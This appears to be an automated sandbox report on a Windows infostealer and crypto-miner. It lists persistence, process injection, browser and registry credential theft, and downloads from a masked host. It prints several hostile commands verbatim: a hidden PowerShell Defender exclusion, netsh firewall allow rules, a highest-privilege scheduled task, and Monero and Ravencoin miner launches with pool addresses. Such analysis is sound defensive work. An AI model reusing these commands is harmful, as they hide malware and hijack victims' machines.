Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\updatertaskservice
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%LOCALAPPDATA%\Microsoft\Updater\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %LOCALAPPDATA%\Microsoft\Updater\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Updater' = '00000000'
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Microsoft\Updater' -ErrorAction SilentlyContinue"
Creates and executes the following
- '<Full path to file>' (downloaded from the Internet)
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audiodgsvcRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audiodgsvc.exe" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audioddgRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audioddg.exe" enable=yes
Injects code into
the following system processes:
- <SYSTEM32>\dllhost.exe
the following user processes:
- wmpshare.exe
Searches for registry branches where third party applications store passwords
- [HKLM\Software\Microsoft\IdentityCRL]
- [HKCU\SOFTWARE\FTPWare\CoreFTP\Sites]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [HKCU\Software\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\RIT\The Bat!]
- [HKLM\SOFTWARE\Wow6432Node\Ghisler\Total Commander]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
Modifies file system
Creates the following files
- %LOCALAPPDATA%\ujxfq\xkxvfmqx.exe
- %LOCALAPPDATA%\ujxfq\axbcpug.exe
- <SYSTEM32>\windowspowershell\v1.0\temp.log
- %TEMP%\chrc858.tmp\crashpad\settings.dat
- %TEMP%\chrc858.tmp\crashpad\throttle_store.dat
- %TEMP%\chrc858.tmp\crashpadmetrics-active.pma
- %TEMP%\chrc858.tmp\browsermetrics\browsermetrics-690b6177-b38.pma
- %TEMP%\chrc858.tmp\last version
- %TEMP%\chrc858.tmp\4ed1b557-eb5e-43f7-909c-d14fbf688806.tmp
- %TEMP%\chrc858.tmp\f46b8757-c413-4ac9-a62b-0728ce19e534.tmp
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-690b617b-57c.pma
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000002
- %LOCALAPPDATA%\microsoft\edge\user data\default\000002.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\gpucache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\index
- %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_2
- %LOCALAPPDATA%\microsoft\edge\user data\default\cache\data_3
- %LOCALAPPDATA%\microsoft\edge\user data\default\code cache\js\850d6e8b7c54b419_0
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\reporting and nel
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\manifest-000004
- %LOCALAPPDATA%\microsoft\edge\user data\default\data_reduction_proxy_leveldb\000004.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\shortcuts
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\network action predictor
- %LOCALAPPDATA%\microsoft\edge\user data\default\preferredapps
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000003.log
- %TEMP%\e66fbe52-542c-4ff4-a074-b8565b2a850c.tmp
- %LOCALAPPDATA%\microsoft\edge\user data\default\code cache\js\index-dir\temp-index
- %TEMP%\temp_archive.zip
- %LOCALAPPDATA%\microsoft\updater\extracted.exe
- %LOCALAPPDATA%\microsoft\updater\updatertask.exe
- %LOCALAPPDATA%\microsoft\updater\audiodgsvc.exe
- %LOCALAPPDATA%\microsoft\updater\winring0x64.sys
- %LOCALAPPDATA%\microsoft\updater\audioddg.exe
Deletes following files that it created itself
- <SYSTEM32>\windowspowershell\v1.0\temp.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\manifest-000001
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-690b617b-57c.pma
- %TEMP%\chrc858.tmp\browsermetrics\browsermetrics-690b6177-b38.pma
- %TEMP%\chrc858.tmp\crashpad\settings.dat
- %TEMP%\chrc858.tmp\crashpad\throttle_store.dat
- %TEMP%\chrc858.tmp\crashpadmetrics-active.pma
- %TEMP%\chrc858.tmp\last version
- %TEMP%\chrc858.tmp\local state
- %TEMP%\temp_archive.zip
Moves the following files
- from %TEMP%\chrc858.tmp\4ed1b557-eb5e-43f7-909c-d14fbf688806.tmp to %TEMP%\chrc858.tmp\local state
- from %LOCALAPPDATA%\microsoft\edge\user data\default\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\session storage\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\shared_proto_db\metadata\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\extension state\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\budgetdatabase\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\eventdb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\feature engagement tracker\availabilitydb\current
- from %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\000001.dbtmp to %LOCALAPPDATA%\microsoft\edge\user data\default\autofillstrikedatabase\current
Modifies the following files
- %LOCALAPPDATA%\microsoft\edge\user data\last version
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\sync data\leveldb\000003.log
- %LOCALAPPDATA%\microsoft\edge\user data\default\site characteristics database\log
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\visited links
- %LOCALAPPDATA%\microsoft\edge\user data\default\history-journal
- %LOCALAPPDATA%\microsoft\tokenbroker\cache\9cd93bc6dcf544bae69531052e64647ec02f2bb4.tbres
- %LOCALAPPDATA%\microsoft\edge\user data\last browser
- %LOCALAPPDATA%\microsoft\edge\user data\default\history
- %LOCALAPPDATA%\microsoft\edge\user data\default\top sites-journal
- %LOCALAPPDATA%\microsoft\edge\user data\default\top sites
Substitutes the following files
- <SYSTEM32>\windowspowershell\v1.0\temp.log
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Platform Notifications\LOG
- %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG
Network activity
Connects to
- '62.##.226.16':5553
- '62.##.226.79':443
- 'co####.edge.skype.com':443
- 'localhost':8000
- '62.##.158.10':54433
- 'po##.#upportxmr.com':7777
TCP
HTTP GET requests
- http://62.##.226.16:5553/f03295a04bd34cd3a9567639b07d5eab_crypted_build.exe via 62.##.226.16
- http://62.##.226.16:5553/b56f6970725f4fdeaf08fda137f0a45c_build.bin via 62.##.226.16
HTTP POST requests
- http://12#.#.0.1:8000/p/result
Other
- '62.##.226.79':443
- 'co####.edge.skype.com':443
- 'localhost':49704
- 'po##.#upportxmr.com':7777
UDP
- DNS ASK nt#.time.nl
- DNS ASK x.##.#in.ntt.net
- DNS ASK ti##.apple.com
- DNS ASK nt#.nict.jp
- DNS ASK ti##.#loudflare.com
- DNS ASK ts#.aco.net
- DNS ASK gb##.ntp.se
- DNS ASK nt##.##t.berkeley.edu
- DNS ASK co####.edge.skype.com
- DNS ASK po##.#upportxmr.com
- 'ts#.aco.net':123
- 'nt##.##t.berkeley.edu':123
- 'x.##.#in.ntt.net':123
- 'ti##.apple.com':123
- 'ti##.#loudflare.com':123
- 'nt#.nict.jp':123
- 'gb##.ntp.se':123
- 'nt#.time.nl':123
Miscellaneous
Searches for the following windows
- ClassName: 'Chrome_MessageWindow' WindowName: '%TEMP%\chrC858.tmp'
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
- ClassName: '#32770' WindowName: 'TeamViewer'
Creates and executes the following
- '%LOCALAPPDATA%\ujxfq\axbcpug.exe'
- '%LOCALAPPDATA%\ujxfq\xkxvfmqx.exe'
- '%LOCALAPPDATA%\microsoft\updater\extracted.exe'
- '%LOCALAPPDATA%\microsoft\updater\updatertask.exe'
- '%LOCALAPPDATA%\microsoft\updater\audiodgsvc.exe' -o pool.supportxmr.com:7777 -u 49gq8ibvuN3LvMdbEU7iiyLzyhMMV9eU3KjUaDQBrhiRei8JCVYqXE6Ku1Evm1fmyRK23SZhbscLzRbhjURSKHZbBsk5Rp2 -t 2 -k -p fjbzvz --no-color
- '%LOCALAPPDATA%\microsoft\updater\audioddg.exe' --algo kawpow --server rvn.2miners.com:6060 --user RBY5ySpwVarrN7rA5n7MNSFJUZnu88TnpE.fjbzvz --intensity 30 --api 0 --watchdog 0 --color 0
Executes the following
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --user-data-dir="%TEMP%\chrC858.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/b1014545/1feb9d65"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --explicitly-allowed-ports=8000 --disable-gpu --new-window --flag-switches-begin --flag-switches-end --do-not-de-elevate http://127.0.0.1:8000/b1014545/1feb9d65
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1840,12303857154963551061,4542496686128541270,131072 --lang=en-US --service-sandbox-type=none --expli...
- '%ProgramFiles%\windows media player\wmpshare.exe'
- '<SYSTEM32>\dllhost.exe'
- '<SYSTEM32>\schtasks.exe' /query /tn "UpdaterTaskService"
- '<SYSTEM32>\schtasks.exe' /create /tn "UpdaterTaskService" /tr "\"%LOCALAPPDATA%\Microsoft\Updater\UpdaterTask.exe\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Microsoft\Updater' -ErrorAction SilentlyContinue"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --user-data-dir="%TEMP%\chrC858.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/b1014545/1feb9d65"' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --explicitly-allowed-ports=8000 --disable-gpu --new-window --flag-switches-begin --flag-switches-end --do-not-de-elevate http://127.0.0.1:8000/b1014545/1feb9d65' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\extracted.exe' ' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\updatertask.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /tn "UpdaterTaskService" /tr "\"%LOCALAPPDATA%\Microsoft\Updater\UpdaterTask.exe\"" /sc onlogon /rl highest /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Microsoft\Updater' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audiodgsvcRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audiodgsvc.exe" enable=yes' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\audiodgsvc.exe' -o pool.supportxmr.com:7777 -u 49gq8ibvuN3LvMdbEU7iiyLzyhMMV9eU3KjUaDQBrhiRei8JCVYqXE6Ku1Evm1fmyRK23SZhbscLzRbhjURSKHZbBsk5Rp2 -t 2 -k -p fjbzvz --no-color' (with hidden window)
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audioddgRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audioddg.exe" enable=yes' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\audioddg.exe' --algo kawpow --server rvn.2miners.com:6060 --user RBY5ySpwVarrN7rA5n7MNSFJUZnu88TnpE.fjbzvz --intensity 30 --api 0 --watchdog 0 --color 0' (with hidden window)
